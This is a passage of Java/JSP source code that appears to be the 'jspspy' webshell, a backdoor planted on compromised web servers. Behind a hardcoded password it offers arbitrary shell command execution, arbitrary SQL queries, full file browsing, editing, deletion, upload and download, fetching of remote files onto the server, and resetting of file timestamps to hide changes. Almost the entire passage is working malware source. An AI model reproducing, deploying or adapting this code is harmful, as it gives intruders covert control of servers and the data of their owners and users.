"); 1176 | if (Util.isEmpty(sql)) { 1177 | String type = request.getParameter("type"); 1178 | if (Util.isEmpty(type) || type.equals("switch")) { 1179 | ResultSet tbs = meta.getTables(null,null,null,null); 1180 | out.println(Table.rs2Table(tbs,meta.getIdentifierQuoteString(),true)); 1181 | tbs.close(); 1182 | } else if (type.equals("struct")) { 1183 | String tb = request.getParameter("table"); 1184 | if (Util.isEmpty(tb)) 1185 | return; 1186 | ResultSet t = meta.getColumns(null,null,tb,null); 1187 | out.println(Table.rs2Table(t,"",false)); 1188 | t.close(); 1189 | } 1190 | } 1191 | } catch (Exception e) { 1192 | JSession.setAttribute(MSG,"Some Error Occurred. Please Check Out the StackTrace Follow."+BACK_HREF); 1193 | throw e; 1194 | } 1195 | } 1196 | } 1197 | private static class ExecuteSQLInvoker extends DefaultInvoker{ 1198 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 1199 | try { 1200 | PrintWriter out = response.getWriter(); 1201 | String sql = request.getParameter("sql"); 1202 | String db = request.getParameter("selectDb"); 1203 | Object dbo = JSession.getAttribute(DBO); 1204 | if (!Util.isEmpty(sql)) { 1205 | if (dbo == null || !((DBOperator)dbo).isValid()) { 1206 | ((Invoker)ins.get("vConn")).invoke(request,response,JSession); 1207 | return; 1208 | } else { 1209 | ((Invoker)ins.get("dbc")).invoke(request,response,JSession); 1210 | Object obj = ((DBOperator)dbo).execute(sql); 1211 | if (obj instanceof ResultSet) { 1212 | ResultSet rs = (ResultSet)obj; 1213 | ResultSetMetaData meta = rs.getMetaData(); 1214 | int colCount = meta.getColumnCount(); 1215 | out.println("Query#0 : "+Util.htmlEncode(sql)+"

"); 1216 | out.println(""); 1217 | for (int i=1;i<=colCount;i++) { 1218 | out.println(""); 1219 | } 1220 | out.println(""); 1221 | Table tb = new Table(); 1222 | while(rs.next()) { 1223 | Row r = new Row(); 1224 | for (int i = 1;i<=colCount;i++) { 1225 | String v = null; 1226 | try { 1227 | v = rs.getString(i); 1228 | } catch (SQLException ex) { 1229 | v = "<>"; 1230 | } 1231 | r.addColumn(new Column(v)); 1232 | } 1233 | tb.addRow(r); 1234 | } 1235 | out.println(tb.toString()); 1236 | out.println("
"+meta.getColumnName(i)+"
"+meta.getColumnTypeName(i)+"

"); 1237 | rs.close(); 1238 | ((DBOperator)dbo).closeStmt(); 1239 | } else { 1240 | out.println("affected rows : "+obj+"

"); 1241 | } 1242 | } 1243 | } else { 1244 | ((Invoker)ins.get("dbc")).invoke(request,response,JSession); 1245 | } 1246 | } catch (Exception e) { 1247 | 1248 | throw e ; 1249 | } 1250 | } 1251 | } 1252 | private static class VLoginInvoker extends DefaultInvoker { 1253 | public boolean doBefore() {return false;} 1254 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 1255 | try { 1256 | PrintWriter out = response.getWriter(); 1257 | out.println("jspspy
"+ 1261 | ""+ 1262 | "

Password: "+ 1263 | " "+ 1264 | " "+ 1265 | " "+ 1266 | "
"+ 1267 | "

"+ 1268 | "
CY... I Love You. I Do! by n1nty 2010/8/18"); 1269 | } catch (Exception e) { 1270 | 1271 | throw e ; 1272 | } 1273 | } 1274 | } 1275 | private static class LoginInvoker extends DefaultInvoker{ 1276 | public boolean doBefore() {return false;} 1277 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 1278 | try { 1279 | String inputPw = request.getParameter("pw"); 1280 | if (Util.isEmpty(inputPw) || !inputPw.equals(PW)) { 1281 | ((Invoker)ins.get("vLogin")).invoke(request,response,JSession); 1282 | return; 1283 | } else { 1284 | JSession.setAttribute(PW_SESSION_ATTRIBUTE,inputPw); 1285 | response.sendRedirect(SHELL_NAME); 1286 | return; 1287 | } 1288 | } catch (Exception e) { 1289 | 1290 | throw e ; 1291 | } 1292 | } 1293 | } 1294 | private static class MyComparator implements Comparator{ 1295 | public int compare(Object obj1,Object obj2) { 1296 | try { 1297 | if (obj1 != null && obj2 != null) { 1298 | File f1 = (File)obj1; 1299 | File f2 = (File)obj2; 1300 | if (f1.isDirectory()) { 1301 | if (f2.isDirectory()) { 1302 | return f1.getName().compareTo(f2.getName()); 1303 | } else { 1304 | return -1; 1305 | } 1306 | } else { 1307 | if (f2.isDirectory()) { 1308 | return 1; 1309 | } else { 1310 | return f1.getName().toLowerCase().compareTo(f2.getName().toLowerCase()); 1311 | } 1312 | } 1313 | } 1314 | return 0; 1315 | } catch (Exception e) { 1316 | return 0; 1317 | } 1318 | } 1319 | } 1320 | private static class FileListInvoker extends DefaultInvoker { 1321 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception { 1322 | try { 1323 | String path2View = null; 1324 | PrintWriter out = response.getWriter(); 1325 | String path = request.getParameter("folder"); 1326 | String outEntry = request.getParameter("outentry"); 1327 | if (!Util.isEmpty(outEntry) && outEntry.equals("true")) { 1328 | JSession.removeAttribute(ENTER); 1329 | JSession.removeAttribute(ENTER_MSG); 1330 | JSession.removeAttribute(ENTER_CURRENT_DIR); 1331 | } 1332 | Object enter = JSession.getAttribute(ENTER); 1333 | File file = null; 1334 | if (!Util.isEmpty(enter)) { 1335 | if (Util.isEmpty(path)) { 1336 | if (JSession.getAttribute(ENTER_CURRENT_DIR) == null) 1337 | path = "/"; 1338 | else 1339 | path = (String)(JSession.getAttribute(ENTER_CURRENT_DIR)); 1340 | } 1341 | file = new EnterFile(path); 1342 | ((EnterFile)file).setZf((String)enter); 1343 | JSession.setAttribute(ENTER_CURRENT_DIR,path); 1344 | } else { 1345 | if (Util.isEmpty(path)) 1346 | path = JSession.getAttribute(CURRENT_DIR).toString(); 1347 | JSession.setAttribute(CURRENT_DIR,Util.convertPath(path)); 1348 | file = new File(path); 1349 | } 1350 | path2View = Util.convertPath(path); 1351 | if (!file.exists()) { 1352 | throw new Exception(path+"Dont Exists !"); 1353 | } 1354 | File[] list = file.listFiles(); 1355 | Arrays.sort(list,new MyComparator()); 1356 | out.println("
"); 1357 | String cr = null; 1358 | try { 1359 | cr = JSession.getAttribute(CURRENT_DIR).toString().substring(0,3); 1360 | }catch(Exception e) { 1361 | cr = "/"; 1362 | } 1363 | File currentRoot = new File(cr); 1364 | out.println("

File Manager - Current disk ""+(cr.indexOf("/") == 0?"/":currentRoot.getPath())+"" total (unknow)

"); 1365 | out.println("
"+ 1366 | ""+ 1367 | " "+ 1368 | " "+ 1369 | " "+ 1370 | " "+ 1371 | " "+ 1372 | "
Current Directory
"+ 1373 | "
"); 1374 | out.println(""+ 1375 | ""+ 1390 | ""+ 1391 | ""+ 1392 | " "+ 1393 | " "+ 1394 | " "+ 1395 | " "+ 1396 | " "+ 1397 | ""); 1398 | if (file.getParent() != null) { 1399 | out.println(""+ 1400 | ""+ 1401 | ""+ 1402 | ""); 1403 | } 1404 | int dircount = 0; 1405 | int filecount = 0; 1406 | for (int i = 0;i"+ 1411 | ""+ 1412 | ""+ 1413 | ""+ 1414 | ""+ 1415 | ""+ 1416 | ""); 1422 | } else { 1423 | filecount++; 1424 | out.println(""+ 1425 | ""+ 1426 | ""+ 1427 | ""+ 1428 | ""+ 1429 | ""+ 1431 | ""); 1448 | } 1449 | } 1450 | out.println(""+ 1451 | " "+ 1457 | " "+ 1458 | "
"+ 1376 | "
"+ 1377 | "Web Root"+ 1378 | " | Shell Directory"+ 1379 | " | New Directory | New File"+ 1380 | " | "); 1381 | File[] roots = file.listRoots(); 1382 | for (int i = 0;iDisk("+Util.convertPath(r.getPath())+")"); 1385 | if (i != roots.length -1) { 1386 | out.println("|"); 1387 | } 1388 | } 1389 | out.println("
 NameLast ModifiedSizeRead/Write/Execute 
=Goto Parent
0"+f.getName()+""+Util.formatDate(f.lastModified())+"--"+f.canRead()+" / "+f.canWrite()+" / unknow"); 1417 | if (enter != null) 1418 | out.println(" "); 1419 | else 1420 | out.println("Del | Move | Pack"); 1421 | out.println("
"+f.getName()+""+Util.formatDate(f.lastModified())+""+Util.getSize(f.length(),'B')+""+ 1430 | ""+f.canRead()+" / "+f.canWrite()+" / unknow "+ 1432 | "Edit | "+ 1433 | "Down | "+ 1434 | "Copy"); 1435 | if (enter == null ) { 1436 | out.println(" | Move | "+ 1437 | "Property | "+ 1438 | "Enter"); 1439 | if (f.getName().endsWith(".zip") || f.getName().endsWith(".jar")) { 1440 | out.println(" | UnPack"); 1441 | } else if (f.getName().endsWith(".rar")) { 1442 | out.println(" | UnPack"); 1443 | } else { 1444 | out.println(" | Pack"); 1445 | } 1446 | } 1447 | out.println("
 "); 1452 | if (enter != null) 1453 | out.println("Pack Selected - Delete Selected"); 1454 | else 1455 | out.println("Pack Selected - Delete Selected"); 1456 | out.println(""+dircount+" directories / "+filecount+" files
"); 1459 | out.println("
"); 1460 | if (file instanceof EnterFile) 1461 | ((EnterFile)file).close(); 1462 | } catch (ZipException e) { 1463 | JSession.setAttribute(MSG,"\""+JSession.getAttribute(ENTER).toString()+"\" Is Not a Zip File. Please Exit."); 1464 | throw e; 1465 | } catch (Exception e) { 1466 | JSession.setAttribute(MSG,"File Does Not Exist Or You Dont Have Privilege."+BACK_HREF); 1467 | throw e; 1468 | } 1469 | } 1470 | } 1471 | private static class LogoutInvoker extends DefaultInvoker { 1472 | public boolean doBefore() {return false;} 1473 | public boolean doAfter() {return false;} 1474 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 1475 | try { 1476 | Object dbo = JSession.getAttribute(DBO); 1477 | if (dbo != null) 1478 | ((DBOperator)dbo).close(); 1479 | Object obj = JSession.getAttribute(PORT_MAP); 1480 | if (obj != null) { 1481 | ServerSocket s = (ServerSocket)obj; 1482 | s.close(); 1483 | } 1484 | Object online = JSession.getAttribute(SHELL_ONLINE); 1485 | if (online != null) 1486 | ((OnLineProcess)online).stop(); 1487 | JSession.invalidate(); 1488 | ((Invoker)ins.get("vLogin")).invoke(request,response,JSession); 1489 | } catch (ClassCastException e) { 1490 | JSession.invalidate(); 1491 | ((Invoker)ins.get("vLogin")).invoke(request,response,JSession); 1492 | } catch (Exception e) { 1493 | 1494 | throw e ; 1495 | } 1496 | } 1497 | } 1498 | private static class UploadInvoker extends DefaultInvoker { 1499 | public boolean doBefore() {return false;} 1500 | public boolean doAfter() {return false;} 1501 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 1502 | try { 1503 | UploadBean fileBean = new UploadBean(); 1504 | response.getWriter().println(JSession.getAttribute(CURRENT_DIR).toString()); 1505 | fileBean.setSavePath(JSession.getAttribute(CURRENT_DIR).toString()); 1506 | fileBean.parseRequest(request); 1507 | File f = new File(JSession.getAttribute(CURRENT_DIR)+"/"+fileBean.getFileName()); 1508 | if (f.exists() && f.length() > 0) 1509 | JSession.setAttribute(MSG,"Upload File Success!"); 1510 | else 1511 | JSession.setAttribute("MSG","Upload File Failed!"); 1512 | response.sendRedirect(SHELL_NAME); 1513 | } catch (Exception e) { 1514 | throw e ; 1515 | } 1516 | } 1517 | } 1518 | private static class CopyInvoker extends DefaultInvoker { 1519 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 1520 | try { 1521 | String src = request.getParameter("src"); 1522 | String to = request.getParameter("to"); 1523 | InputStream in = null; 1524 | Object enter = JSession.getAttribute(ENTER); 1525 | if (enter == null) 1526 | in = new FileInputStream(new File(src)); 1527 | else { 1528 | ZipFile zf = new ZipFile((String)enter); 1529 | ZipEntry entry = zf.getEntry(src); 1530 | in = zf.getInputStream(entry); 1531 | } 1532 | BufferedInputStream input = new BufferedInputStream(in); 1533 | BufferedOutputStream output = new BufferedOutputStream(new FileOutputStream(new File(to))); 1534 | byte[] d = new byte[1024]; 1535 | int len = input.read(d); 1536 | while(len != -1) { 1537 | output.write(d,0,len); 1538 | len = input.read(d); 1539 | } 1540 | output.close(); 1541 | input.close(); 1542 | JSession.setAttribute(MSG,"Copy File Success!"); 1543 | response.sendRedirect(SHELL_NAME); 1544 | } catch (Exception e) { 1545 | 1546 | throw e ; 1547 | } 1548 | } 1549 | } 1550 | private static class BottomInvoker extends DefaultInvoker { 1551 | public boolean doBefore() {return false;} 1552 | public boolean doAfter() {return false;} 1553 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 1554 | try { 1555 | response.getWriter().println("
Copyright (C) 2010 http://www.Forjj.com/  [T00ls.Net] All Rights Reserved."+ 1556 | "
"); 1557 | } catch (Exception e) { 1558 | 1559 | throw e ; 1560 | } 1561 | } 1562 | } 1563 | private static class VCreateFileInvoker extends DefaultInvoker { 1564 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 1565 | try { 1566 | PrintWriter out = response.getWriter(); 1567 | String path = request.getParameter("filepath"); 1568 | File f = new File(path); 1569 | if (!f.isAbsolute()) { 1570 | String oldPath = path; 1571 | path = JSession.getAttribute(CURRENT_DIR).toString(); 1572 | if (!path.endsWith("/")) 1573 | path+="/"; 1574 | path+=oldPath; 1575 | f = new File(path); 1576 | f.createNewFile(); 1577 | } else { 1578 | f.createNewFile(); 1579 | } 1580 | out.println("
"+ 1581 | "
"+ 1582 | "

Create / Edit File »

"+ 1583 | ""+ 1584 | "

Current File (import new file name and new file)
"+ 1585 | "

"+ 1586 | "

File Content

"+ 1587 | "

"+ 1588 | "
"+ 1589 | "
"); 1590 | } catch (Exception e) { 1591 | 1592 | throw e ; 1593 | } 1594 | } 1595 | } 1596 | private static class VEditInvoker extends DefaultInvoker { 1597 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 1598 | try { 1599 | PrintWriter out = response.getWriter(); 1600 | String path = request.getParameter("filepath"); 1601 | String charset = request.getParameter("charset"); 1602 | Object enter = JSession.getAttribute(ENTER); 1603 | InputStream input = null; 1604 | if (enter != null) { 1605 | ZipFile zf = new ZipFile((String)enter); 1606 | ZipEntry entry = new ZipEntry(path); 1607 | input = zf.getInputStream(entry); 1608 | } else { 1609 | File f = new File(path); 1610 | if (!f.exists()) 1611 | return; 1612 | input = new FileInputStream(path); 1613 | } 1614 | 1615 | BufferedReader reader = null; 1616 | if (Util.isEmpty(charset) || charset.equals("ANSI")) 1617 | reader = new BufferedReader(new InputStreamReader(input)); 1618 | else 1619 | reader = new BufferedReader(new InputStreamReader(input,charset)); 1620 | StringBuffer content = new StringBuffer(); 1621 | String s = reader.readLine(); 1622 | while (s != null) { 1623 | content.append(s+"\r\n"); 1624 | s = reader.readLine(); 1625 | } 1626 | reader.close(); 1627 | out.println("
"+ 1628 | "
"+ 1629 | "

Create / Edit File »

"+ 1630 | ""+ 1631 | "

Current File (import new file name and new file)
"+ 1632 | "

"+ 1633 | "

File Content

"+ 1634 | "

"); 1635 | if (enter != null) 1636 | out.println(""); 1637 | else 1638 | out.println(""); 1639 | out.println("

"+ 1640 | "
"+ 1641 | "
"); 1642 | 1643 | } catch (Exception e) { 1644 | 1645 | throw e ; 1646 | } 1647 | } 1648 | } 1649 | private static class CreateFileInvoker extends DefaultInvoker { 1650 | public boolean doBefore(){return false;} 1651 | public boolean doAfter(){return false;} 1652 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 1653 | try { 1654 | PrintWriter out = response.getWriter(); 1655 | String path = request.getParameter("filepath"); 1656 | String content = request.getParameter("filecontent"); 1657 | String charset = request.getParameter("charset"); 1658 | BufferedWriter outs = null; 1659 | if (charset.equals("ANSI")) 1660 | outs = new BufferedWriter(new FileWriter(new File(path))); 1661 | else 1662 | outs = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(path)),charset)); 1663 | outs.write(content,0,content.length()); 1664 | outs.close(); 1665 | JSession.setAttribute(MSG,"Save File "+(new File(path)).getName()+" With "+charset+" Success!"); 1666 | response.sendRedirect(SHELL_NAME); 1667 | } catch (Exception e) { 1668 | 1669 | throw e ; 1670 | } 1671 | } 1672 | } 1673 | private static class VEditPropertyInvoker extends DefaultInvoker { 1674 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 1675 | try { 1676 | PrintWriter out = response.getWriter(); 1677 | String filepath = request.getParameter("filepath"); 1678 | File f = new File(filepath); 1679 | if (!f.exists()) 1680 | return; 1681 | String read = f.canRead() ? "checked=\"checked\"" : ""; 1682 | String write = f.canWrite() ? "checked=\"checked\"" : ""; 1683 | Calendar cal = Calendar.getInstance(); 1684 | cal.setTimeInMillis(f.lastModified()); 1685 | 1686 | out.println("
"+ 1687 | "
"+ 1688 | "

Set File Property »

"+ 1689 | "

Current File (FullPath)

"+ 1690 | " "+ 1691 | "

"+ 1692 | " Read "+ 1693 | " Write "+ 1694 | "

"+ 1695 | "

Instead »"+ 1696 | "year:"+ 1697 | ""+ 1698 | "month:"+ 1699 | ""+ 1700 | "day:"+ 1701 | ""+ 1702 | ""+ 1703 | "hour:"+ 1704 | ""+ 1705 | "minute:"+ 1706 | ""+ 1707 | "second:"+ 1708 | ""+ 1709 | "

"+ 1710 | "

"+ 1711 | "
"+ 1712 | "
"); 1713 | } catch (Exception e) { 1714 | throw e ; 1715 | } 1716 | } 1717 | } 1718 | private static class EditPropertyInvoker extends DefaultInvoker { 1719 | public boolean doBefore(){return false;} 1720 | public boolean doAfter(){return false;} 1721 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 1722 | try { 1723 | String f = request.getParameter("file"); 1724 | File file = new File(f); 1725 | if (!file.exists()) 1726 | return; 1727 | 1728 | String year = request.getParameter("year"); 1729 | String month = request.getParameter("month"); 1730 | String date = request.getParameter("date"); 1731 | String hour = request.getParameter("hour"); 1732 | String minute = request.getParameter("minute"); 1733 | String second = request.getParameter("second"); 1734 | 1735 | Calendar cal = Calendar.getInstance(); 1736 | cal.set(Calendar.YEAR,Integer.parseInt(year)); 1737 | cal.set(Calendar.MONTH,Integer.parseInt(month)-1); 1738 | cal.set(Calendar.DATE,Integer.parseInt(date)); 1739 | cal.set(Calendar.HOUR,Integer.parseInt(hour)); 1740 | cal.set(Calendar.MINUTE,Integer.parseInt(minute)); 1741 | cal.set(Calendar.SECOND,Integer.parseInt(second)); 1742 | if(file.setLastModified(cal.getTimeInMillis())){ 1743 | JSession.setAttribute(MSG,"Reset File Property Success!"); 1744 | } else { 1745 | JSession.setAttribute(MSG,"Reset File Property Failed!"); 1746 | } 1747 | response.sendRedirect(SHELL_NAME); 1748 | } catch (Exception e) { 1749 | 1750 | throw e ; 1751 | } 1752 | } 1753 | } 1754 | //VShell 1755 | private static class VsInvoker extends DefaultInvoker{ 1756 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 1757 | try { 1758 | PrintWriter out = response.getWriter(); 1759 | String cmd = request.getParameter("command"); 1760 | String program = request.getParameter("program"); 1761 | if (cmd == null) { 1762 | if (ISLINUX) 1763 | cmd = "id"; 1764 | else 1765 | cmd = "cmd.exe /c set"; 1766 | } 1767 | if (program == null) 1768 | program = "cmd.exe /c net start > "+SHELL_DIR+"/Log.txt"; 1769 | if (JSession.getAttribute(MSG)!=null) { 1770 | Util.outMsg(out,JSession.getAttribute(MSG).toString()); 1771 | JSession.removeAttribute(MSG); 1772 | } 1773 | out.println(""+ 1793 | "
"+ 1774 | "
"+ 1775 | "

Execute Program »

"+ 1776 | "

"+ 1777 | ""+ 1778 | ""+ 1779 | "Parameter
"+ 1780 | ""+ 1781 | "

"+ 1782 | "
"+ 1783 | "
"+ 1784 | "

Execute Shell »

"+ 1785 | "

"+ 1786 | ""+ 1787 | ""+ 1788 | "Parameter
"+ 1789 | ""+ 1790 | "

"+ 1791 | "
"+ 1792 | "
"); 1794 | } catch (Exception e) { 1795 | 1796 | throw e ; 1797 | } 1798 | } 1799 | } 1800 | private static class ShellInvoker extends DefaultInvoker{ 1801 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 1802 | try { 1803 | PrintWriter out = response.getWriter(); 1804 | String type = request.getParameter("type"); 1805 | if (type.equals("command")) { 1806 | ((Invoker)ins.get("vs")).invoke(request,response,JSession); 1807 | out.println("

"); 1808 | out.println("
");
1809 | String command = request.getParameter("command");
1810 | if (!Util.isEmpty(command)) {
1811 | Process pro = Runtime.getRuntime().exec(command);
1812 | BufferedReader reader = new BufferedReader(new InputStreamReader(pro.getInputStream()));
1813 | String s = reader.readLine();
1814 | while (s != null) {
1815 | out.println(Util.htmlEncode(Util.getStr(s)));
1816 | s = reader.readLine();
1817 | }
1818 | reader.close();
1819 | reader = new BufferedReader(new InputStreamReader(pro.getErrorStream()));
1820 | s = reader.readLine();
1821 | while (s != null) {
1822 | out.println(Util.htmlEncode(Util.getStr(s)));
1823 | s = reader.readLine();
1824 | }
1825 | reader.close();
1826 | out.println("
"); 1827 | } 1828 | } else { 1829 | String program = request.getParameter("program"); 1830 | if (!Util.isEmpty(program)) { 1831 | Process pro = Runtime.getRuntime().exec(program); 1832 | JSession.setAttribute(MSG,"Program Has Run Success!"); 1833 | ((Invoker)ins.get("vs")).invoke(request,response,JSession); 1834 | } 1835 | } 1836 | } catch (Exception e) { 1837 | 1838 | throw e ; 1839 | } 1840 | } 1841 | } 1842 | private static class DownInvoker extends DefaultInvoker{ 1843 | public boolean doBefore(){return false;} 1844 | public boolean doAfter(){return false;} 1845 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 1846 | try { 1847 | String path = request.getParameter("path"); 1848 | if (Util.isEmpty(path)) 1849 | return; 1850 | InputStream i = null; 1851 | Object enter = JSession.getAttribute(ENTER); 1852 | String fileName = null; 1853 | if (enter == null) { 1854 | File f = new File(path); 1855 | if (!f.exists()) 1856 | return; 1857 | fileName = f.getName(); 1858 | i = new FileInputStream(f); 1859 | } else { 1860 | ZipFile zf = new ZipFile((String)enter); 1861 | ZipEntry entry = new ZipEntry(path); 1862 | fileName = entry.getName().substring(entry.getName().lastIndexOf("/") + 1); 1863 | i = zf.getInputStream(entry); 1864 | } 1865 | response.setHeader("Content-Disposition","attachment;filename="+URLEncoder.encode(fileName,PAGE_CHARSET)); 1866 | BufferedInputStream input = new BufferedInputStream(i); 1867 | BufferedOutputStream output = new BufferedOutputStream(response.getOutputStream()); 1868 | byte[] data = new byte[1024]; 1869 | int len = input.read(data); 1870 | while (len != -1) { 1871 | output.write(data,0,len); 1872 | len = input.read(data); 1873 | } 1874 | input.close(); 1875 | output.close(); 1876 | } catch (Exception e) { 1877 | 1878 | throw e ; 1879 | } 1880 | } 1881 | } 1882 | //VDown 1883 | private static class VdInvoker extends DefaultInvoker { 1884 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 1885 | try { 1886 | PrintWriter out = response.getWriter(); 1887 | String savepath = request.getParameter("savepath"); 1888 | String url = request.getParameter("url"); 1889 | if (Util.isEmpty(url)) 1890 | url = "http://www.forjj.com/"; 1891 | if (Util.isEmpty(savepath)) { 1892 | savepath = JSession.getAttribute(CURRENT_DIR).toString(); 1893 | } 1894 | if (!Util.isEmpty(JSession.getAttribute("done"))) { 1895 | Util.outMsg(out,"Download Remote File Success!"); 1896 | JSession.removeAttribute("done"); 1897 | } 1898 | out.println("
"+ 1899 | "
"+ 1900 | "

Remote File DownLoad »

"+ 1901 | "

"+ 1902 | ""+ 1903 | "

File   URL: "+ 1904 | "

"+ 1905 | "

Save Path: "+ 1906 | "

"+ 1907 | ""+ 1908 | "

"+ 1909 | "
"); 1910 | } catch (Exception e) { 1911 | 1912 | throw e ; 1913 | } 1914 | } 1915 | } 1916 | private static class DownRemoteInvoker extends DefaultInvoker { 1917 | public boolean doBefore(){return true;} 1918 | public boolean doAfter(){return true;} 1919 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 1920 | try { 1921 | String downFileUrl = request.getParameter("url"); 1922 | String savePath = request.getParameter("savepath"); 1923 | if (Util.isEmpty(downFileUrl) || Util.isEmpty(savePath)) 1924 | return; 1925 | URL downUrl = new URL(downFileUrl); 1926 | URLConnection conn = downUrl.openConnection(); 1927 | 1928 | File tempF = new File(savePath); 1929 | File saveF = tempF; 1930 | if (tempF.isDirectory()) { 1931 | String fName = downFileUrl.substring(downFileUrl.lastIndexOf("/")+1); 1932 | saveF = new File(tempF,fName); 1933 | } 1934 | BufferedInputStream in = new BufferedInputStream(conn.getInputStream()); 1935 | BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(saveF)); 1936 | byte[] data = new byte[1024]; 1937 | int len = in.read(data); 1938 | while (len != -1) { 1939 | out.write(data,0,len); 1940 | len = in.read(data); 1941 | } 1942 | in.close(); 1943 | out.close(); 1944 | JSession.setAttribute("done","d"); 1945 | ((Invoker)ins.get("vd")).invoke(request,response,JSession); 1946 | } catch (Exception e) { 1947 | 1948 | throw e ; 1949 | } 1950 | } 1951 | } 1952 | private static class IndexInvoker extends DefaultInvoker { 1953 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 1954 | try { 1955 | ((Invoker)ins.get("filelist")).invoke(request,response,JSession); 1956 | } catch (Exception e) { 1957 | 1958 | throw e ; 1959 | } 1960 | } 1961 | } 1962 | private static class MkDirInvoker extends DefaultInvoker { 1963 | public boolean doBefore(){return false;} 1964 | public boolean doAfter(){return false;} 1965 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 1966 | try { 1967 | String name = request.getParameter("name"); 1968 | File f = new File(name); 1969 | if (!f.isAbsolute()) { 1970 | String path = JSession.getAttribute(CURRENT_DIR).toString(); 1971 | if (!path.endsWith("/")) 1972 | path += "/"; 1973 | path += name; 1974 | f = new File(path); 1975 | } 1976 | f.mkdirs(); 1977 | JSession.setAttribute(MSG,"Make Directory Success!"); 1978 | response.sendRedirect(SHELL_NAME); 1979 | } catch (Exception e) { 1980 | 1981 | throw e ; 1982 | } 1983 | } 1984 | } 1985 | private static class MoveInvoker extends DefaultInvoker { 1986 | public boolean doBefore(){return false;} 1987 | public boolean doAfter(){return false;} 1988 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 1989 | try { 1990 | PrintWriter out = response.getWriter(); 1991 | String src = request.getParameter("src"); 1992 | String target = request.getParameter("to"); 1993 | if (!Util.isEmpty(target) && !Util.isEmpty(src)) { 1994 | File file = new File(src); 1995 | if(file.renameTo(new File(target))) { 1996 | JSession.setAttribute(MSG,"Move File Success!"); 1997 | } else { 1998 | String msg = "Move File Failed!"; 1999 | if (file.isDirectory()) { 2000 | msg += "The Move Will Failed When The Directory Is Not Empty."; 2001 | } 2002 | JSession.setAttribute(MSG,msg); 2003 | } 2004 | response.sendRedirect(SHELL_NAME); 2005 | } 2006 | } catch (Exception e) { 2007 | 2008 | throw e ; 2009 | } 2010 | } 2011 | } 2012 | private static class RemoveDirInvoker extends DefaultInvoker { 2013 | public boolean doBefore(){return false;} 2014 | public boolean doAfter(){return false;} 2015 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 2016 | try { 2017 | String dir = request.getParameter("dir"); 2018 | File file = new File(dir); 2019 | if (file.exists()) { 2020 | deleteFile(file); 2021 | deleteDir(file); 2022 | } 2023 | 2024 | JSession.setAttribute(MSG,"Remove Directory Success!"); 2025 | response.sendRedirect(SHELL_NAME); 2026 | } catch (Exception e) { 2027 | 2028 | throw e ; 2029 | } 2030 | } 2031 | public void deleteFile(File f) { 2032 | if (f.isFile()) { 2033 | f.delete(); 2034 | }else { 2035 | File[] list = f.listFiles(); 2036 | for (int i = 0;i"+ 2102 | ""+ 2103 | ""+ 2104 | ""+ 2105 | " "+ 2106 | " "+ 2144 | " "+ 2145 | "

Pack Configuration >>

"+ 2107 | "
"+ 2108 | " "+ 2109 | " "+ 2110 | " "+ 2111 | " "+ 2136 | " "+ 2137 | " "+ 2138 | " "+ 2141 | " "+ 2142 | "
"+ 2112 | " "+ 2113 | " "+ 2114 | " "+ 2115 | " "+ 2116 | " "+ 2117 | " "+ 2118 | " "+ 2119 | " "+ 2120 | " "+ 2121 | " "+ 2125 | " "+ 2126 | " "+ 2127 | " "+ 2128 | " "+ 2130 | " "+ 2131 | " "+ 2132 | " "+ 2133 | " "+ 2134 | " "+ 2135 | "
Packed Dir
Save To
Ext Filter"+ 2122 | " no Blacklist Whitelist"+ 2123 | "
"+ 2124 | "
Filesize Filter(KB) "+ 2129 | " no greaterthanlessthan
Exclude Dir
"+ 2139 | " "+ 2140 | "
"+ 2143 | "
" 2146 | ); 2147 | } catch (Exception e) { 2148 | 2149 | throw e; 2150 | } 2151 | } 2152 | } 2153 | private static class PackInvoker extends DefaultInvoker { 2154 | public boolean doBefore(){return false;} 2155 | public boolean doAfter(){return false;} 2156 | private boolean config = false; 2157 | private String extFilter = "blacklist"; 2158 | private String[] fileExts = null; 2159 | private String sizeFilter = "no"; 2160 | private int filesize = 0; 2161 | private String[] exclude = null; 2162 | private String packFile = null; 2163 | private void reset(){ 2164 | this.config = false; 2165 | this.extFilter = "blacklist"; 2166 | this.fileExts = null; 2167 | this.sizeFilter = "no"; 2168 | this.filesize = 0; 2169 | this.exclude = null; 2170 | this.packFile = null; 2171 | } 2172 | public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ 2173 | try { 2174 | String config = request.getParameter("config"); 2175 | if (!Util.isEmpty(config) && config.equals("true")) { 2176 | this.config = true; 2177 | this.extFilter = request.getParameter("extfilter"); 2178 | this.fileExts = request.getParameter("fileext").split(","); 2179 | this.sizeFilter = request.getParameter("sizefilter"); 2180 | this.filesize = Integer.parseInt(request.getParameter("filesize")); 2181 | this.exclude = 